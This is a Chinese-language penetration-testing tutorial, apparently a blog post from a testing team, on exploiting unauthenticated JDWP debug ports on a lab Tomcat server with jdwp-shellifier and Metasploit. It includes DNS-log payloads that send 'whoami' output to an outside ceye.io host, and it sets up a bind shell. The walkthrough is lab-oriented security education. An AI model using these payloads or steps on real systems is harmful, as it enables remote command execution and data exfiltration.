JDWP未授權快速利用

JDWP簡介

這裏首先要說明一下 debugger 和 target vm。Target vm 中運行着我們希望要調試的程序,它與一般運行的 Java 虛擬機沒有什麼區別,只是在啓動時加載了 Agent JDWP 從而具備了調試功能。而 debugger 就是我們熟知的調試器,它向運行中的 target vm 發送命令來獲取 target vm 運行時的狀態和控制 Java 程序的執行。Debugger 和 target vm 分別在各自的進程中運行,他們之間的通信協議就是 JDWP。

JDWP的握手協議

    JDWP 大致分爲兩個階段:握手和應答。握手是在傳輸層連接建立完成後,做的第一件事,Debugger 發送 14 bytes 的字符串“JDWP-Handshake”到 target Java 虛擬機Target Java 虛擬機回覆“JDWP-Handshake”

 

 

JDWPagent 在調試中扮演的角色

 

 

實驗環境搭建

攻擊機器kali IP:192.168.204.128

靶機centos7 IP:192.168.204.133

  • wget下載Tomcat安裝包wgethttp://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.43/bin/apache-tomcat-8.5.43.tar.gz

  • 解壓安裝包tar zxvf apache-tomcat-8.5.43.tar.gz

  • 將程序複製到指定運行目錄sudo mv apache-tomcat-8.5.43 /usr/local/tomcat8

  • 進入bin目錄 cd bin

  • 找到catalina.sh文件首行添加declare -xCATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"

  • 使用./startup.sh啓動Tomcat

 

 

JDWP服務的指紋發現

我們先用namp掃描試試看

Nmap沒有輸出詳細的端口服務,我們重新掃描一下

我們使用telnet ip port 然後快速發送JDWP-Handshake來進行簡單驗證是否存在未授權漏洞,如果服務器也返回了JDWP-Handshake那麼十有八九就存在該漏洞了

漏洞利用辦法

 

 

  • 使用jdwp-shellifier腳本進行命令執行

  • 使用metasploit進行漏洞利用

  • 使用IntelliJ IDEA編輯器進行利用(篇幅較大 準備下次細講)

 

下面我們給大家演示使用jdwp-shellifier腳本對JDWP協議未授權訪問漏洞進行命令執行操作,首先我們需要到達https://github.com/IOActive/jdwp-shellifier下載腳本

閱讀作者的README.md就可以知道使用腳本的命令格式

我們來對我們的目標IP進行嘗試利用

 

們使用dnslog嘗試測試 工具網址http://ceye.io/records/dns

可以看到上面是沒有返回目錄信息的,下面我們通過ceye.io提供的測試payloads進行測試

Liunx常見payloads

curl http://ip.port.b182oj.ceye.io/`whoami`

ping `whoami`.ip.port.b182oj.ceye.io

windows常見payloads

ping%USERNAME%.b182oj.ceye.io

 

下面我們開始用Metasploit對JDWP這個漏洞進行利用

我們使用msfconsole啓動Metasploit,並且選用exploit/multi/misc/java_jdwp_debugger漏洞利用模塊

使用info可以查看當前的漏洞EXP信息

我們設置好靶機的IP和漏洞應用端口

劃重點:

由於我們平常進行安全測試或者滲透測試工作,很多都在甲方工作,我們工作的網絡環境會很複雜,筆者的筆記本接入到公司網絡中的時候,准入軟件和安全軟件都不讓我建立一個nc監聽端口,通常我們測試的時候很多時候用KALI系統也沒有內網IP,那麼我們反彈的時候只有在公網建立一個Metasploit監聽端口,一些環境做了網絡隔離還不能連接公網,那麼我們這個時候只有選用正向連接後門了,下面我畫圖給大家演示一下大概的意思。

常見木馬分類

Msfvenom方便生成的常見的Meterpreter正向和反向連接後門

  • reverse_tcp

  • reverse_http

  • reverse_https

  • bind_tcp

  • 日常工作中常見的就是這幾種類型的後門,其中只有bind_tcp是正向連接的

我們在當前的EXP中使用showpayloads查看該EXP支持哪些載荷也就是後門

我們設置EXP使用payloadlinux/x64/shell/bind_tcp載荷

現在我們所有的配置都完成了,最後只要輸入run就可以直接執行了,下面我們看看執行的過程

 

通過以上內容我們簡單的介紹了JDWP漏洞信息,也通過實例介紹了兩種利用方法。jdwp-shellifier.py腳本的優點是容易部署和利用,缺點是沒有執行回顯。Metasploit的JDWP利用模塊使用起來簡單快捷並且可以執行系統命令,但是kali系統在一些環境中使用顯得有些臃腫,平時自己用的時候針對相應場景選用即可。好了今天的文章就到這裏了,不久我會寫一篇使用IntelliJ IDEA編輯器進行利用JDWP漏洞,詳細的描述一下漏洞的利用原理和經過。

 

(喜歡請轉發,謝謝!)

加入愛測未來qq羣,獲取更專業的技術知識分享:

274166295  (愛測未來二羣)

610934609  (愛測未來三羣)

195730410  (愛測未來四羣)

 

更多精彩文章:

移動端H5調試與自動化

Android兼容性測試應該怎麼做逼格更高呢?

JVM性能調優

MTP-移動測試平臺

性能分析之OS資源飽和度

前端性能監控

來自520的福利----視頻直播平臺性能測試

前端性能測試平臺及應用

震驚性能測試圈的經典案例!!

在airtest中使用ocr反向識別文本內容

數據庫性能分析與優化(愛測未來團隊內訓材料)

性能分析之激情的過程無奈的結局談談從事IT測試行業的我,對於買房買車有什麼樣的感受

關於性能測試認知的反思

性能測試中的硬件存儲知識

一小時學會接口測試

性能平臺之Jmeter通過influxdb在Grafana中的數據展現邏輯

——————————————————

   愛測未來公衆號   WX:itest_forever

 

  測試之道 | 測試技術

長按識別二維碼,關注愛測未來公衆號,瞭解更多精彩內容

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章